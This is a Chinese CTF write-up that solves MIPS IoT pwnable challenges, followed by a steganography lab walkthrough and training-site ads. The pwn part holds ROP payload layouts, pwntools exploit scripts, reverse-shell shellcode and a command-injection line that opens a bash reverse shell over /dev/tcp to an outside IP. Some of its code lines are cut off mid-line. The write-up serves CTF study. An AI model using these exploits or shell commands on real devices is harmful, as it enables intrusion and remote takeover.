构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。
libc路径:/squashfs-root/lib/libc.so.0
先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 :
.text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 .text:0002FB18 jalr $t9 ; sub_2F818
接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多,最后选了 gadget2 = 0x00007730 :
.text:00007730 lw $ra, 0x18+var_s10($sp) .text:00007734 lw $s3, 0x18+var_sC($sp) .text:00007738 lw $s2, 0x18+var_s8($sp) .text:0000773C lw $s1, 0x18+var_s4($sp) .text:00007740 lw $s0, 0x18+var_s0($sp) .text:00007744 jr $ra
至此 a0 被控制为 1 ,目前 payload 结构为:
payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += "????"#s1 payload += "bbbb"#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra
不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。
mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C :
.text:00020F1C move $t9, $s2 .text:00020F20 lw $ra, 0x18+var_sC($sp) .text:00020F24 lw $s2, 0x18+var_s8($sp) .text:00020F28 lw $s1, 0x18+var_s4($sp) .text:00020F2C lw $s0, 0x18+var_s0($sp) .text:00020F30 jr $t9
解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构:
payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += "cccc"#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += "????"#ra
mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 :
.text:00016DD0 addiu $a0, $sp, 0x38+var_20 .text:00016DD4 move $t9, $s0 .text:00016DD8 jalr $t9 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a
最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……
.text:000214A0 move $t9, $a0 .text:000214A4 sw $v0, 0x30+var_18($sp) .text:000214A8 jalr $t9
最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。
payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32
EXP
from pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02" context.arch = "mips" context.endian = "little" # libc_base = 0x766e5000 sleep = 0x767142b0#0x2F2B0+0x766e5000 gadget1 = 0x76714b10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x766ec7
socket_bof
这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。
#include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Pwnable Socket Program // By b1ack0wl // Stack Overflow int main(int argc, char **argv[]) { if (argc <2){ printf("Usage: %s port_number - by b1ack0wl\n", argv[0]); exit(1);
栈溢出在这句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51
调试方法
在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。
# terminal 1 sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884 # terminal 2 gdb-multiarch set architecture mips set endian little target remote :1234
另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。
attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址
曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址
全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。
Stack_bof_02 的 execve('/bin/sh') 能打通
找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口
绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。
反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip
将 ip 地址转换成 16 进制
hex(192)#0xc0 hex(168)#0xa8 hex(1) #0x01 hex(177)#0xb1 #192.168.1.177==>0xB101A8C0
编译一下,编译失败看看是不是 binutils 没装
from pwn import context.arch = "mips" context.endian = "little" asm("li $a1, 0xB101A8C0")
然后搜索 \x01\xb1\x05\x3c\xc0\xa8\xa5\x34 替换为自己编译的:
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x0
EXP
#!/usr/bin/python from pwn import * context.arch = 'mips' context.endian = 'little' libc_addr = 0x4089b000#0x766e5000 sleep = 0x0002F2B0 gadget1 = 0x2fb10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x7730 ''' 0x766ec730: lw ra,40(sp) 0x766ec734: lw s3,36(sp) 0x7
socket_cmd
EXP
依次打开终端运行
#terminal 0 qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999 #terminal 1 nc -lvvp 31337 #tarminal 2 nc 127.0.0.1 9999 hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root
Uaf_01&heap_overflow
剩下两题 heap_overflow 和 uaf_01 没有什么思路,都是输入一次然后程序就退出了。
uaf_01 重新申请相同 0x11 ,就跳转 Awesome 那个分支,但没啥用。
heap_overflow 有个后门,输入机会只有一次,然后程序就会关掉。
参考文章
https://ctf-wiki.org/pwn/linux/mips/mips_rop/https://xz.aliyun.com/t/1511https://www.cnblogs.com/hac425/p/9416864.html
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF Stegano练习之隐写初探
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天要介绍的是CTF练习中的Stegano隐写题型。做隐写题的时候,工具是很重要的,接下来介绍一些工具。
1、TrID
TrID是一款根据文件二进制数据特征进行判断的文件类型识别工具。虽然也有类似的文件类型识别工具,但是大多数都是使用硬编码的识别规则,而TrID则没有固定的匹配规则,TrID具有灵活的可扩展性,可以通过训练来进行文件类型的快速识别。
TrID通过附加的文件类型指纹数据库来进行匹配,可用于取证分析、未知文件识别等用途。
2、Audacity
Audacity是一款自由且免费的音频编辑器和录音器。它是在Linux下发展起来的,有着傻瓜式的操作界面和专业的音频处理效果。使用Audacity可以帮助我们快速解决CTF中一些音频相关的题目。
这个实验还需要了解一些摩尔斯电码。
摩尔斯电码(Morse Code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。是由美国人萨缪尔·摩尔斯在1836年发明。
摩斯码使用点(.)和横线(-)来表示各种字符,我们只需要知道某一串字符是摩斯码,然后使用解码工具进行解码即可。
实验内容和步骤
本次实验链接地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121211151300001
来看实验描述:在实验主机上的C:\Stegano\1目录下为本题所提供的文件,请对这些文件进行分析,找到一个flag{XXXX}形式的Flag字符串。
来看实验打开cmd命令行,切换到C:\Stegano\1目录,然后使用TrID对其进行文件类型识别,如图所示:
TrID对该文件的识别结果为:85.7%的可能性为XZ文件,14.2%的可能性为QuickBasic BSAVE文件。我们通过搜索引擎可以了解到XZ文件是一种压缩文件,因此可以使用7Zip进行解压(实验机器已经安装7Zip,右键选择通过7Zip解压即可)。
解压之后我们得到新文件hello_forensics~,仍然是一个没有扩展名的文件,我们再次使用TrID进行识别,得到的结果如图所示:
TrID认为这是一个OGG文件。OGG是一种音频文件格式,大家如果平时有留意的话,在手机上一定见过这样的文件,许多手机内置的音效就是以OGG文件格式存在的。
接下来就是要用到我之前提到的Audacity,使用桌面上的Audacity工具打开我们提取出来的OGG文件,默认会显示音频文件左右两个声道的波形图,如图所示:
按住键盘左下角的Ctrl按键,同时滚动鼠标滚轮即可对波形图进行放大或者缩小操作,这里我们将波形图进行放大,然后播放OGG文件,我们发现在中间的某一个区间内夹杂着一些“滴滴”的声音,实际上这里是播放的摩斯码,通过对声道的波形图观察,可以看到如下的特征:(实验时可能无法通过远程桌面听到实验机器发出的声音,因此这里提供原始题目文件以及相关工具的下载,地址为http://heetian.qiniudn.com/steg.txt,大家可以下载下来在本地测试)
在Audacity中,将波形图放得越大,就越能明显的看到对应的摩斯码特征,通过对声音波形图的分析,我们可以得到摩斯码(摩斯码从第18秒开始播放,如果两段“滴滴”声之间的时间间隔在7~8秒左右,则认为是两个不同的摩斯码之间的分隔,用空格表示,如果两段“滴滴”声之间的时间间隔在2~3秒左右,则认为是同一个摩斯码的内容)。分析后得到的摩斯码为“.- ... - .- .-. .. ... -... --- .- .-. -.”,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串ASTARISBOARN。
通过实验步得到字符串ASTARISBOARN,将其当做密码对压缩包进行解压测试,发现可以成功解压,得到一个PDF文件。这个PDF文件直接看上去似乎没有什么有用的信息,但是对其中的文字进行选择操作的时候,发现页眉和页脚中似乎有一些不可见的文字,如图所示:
这里我们通过Ctrl+A对其中的文本进行全选,然后粘贴到记事本里面去,得到两个可疑的字符串:
VjIweE5HRkdiM3BrUnpGT1UwVndjMWx0Y0ZkalJtd
zJWbTFhYUZkRk5XMVhiVFZYWkZWc1dVMUVNRDA9
我们解密一下,将两个字符串拼接起来后进行Base64解码,得到另一个字符串V20xNGFGb3pkRzFOU0Vwc1ltcFdjRmw2Vm1aaFdFNW1XbTVXZFVsWU1EMD0=,仍然是Base64加密,经过这样的几次Base64解码之后,最后得到字符串flag{f0ren5ic5_is_fun!},这就是题目所要求要找的Flag字符串了。
CTF真是防不胜防,还顺便了解一下摩尔斯电码。这次实验真的是很有意思,解题过程比较简单,但是思路很重要。
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

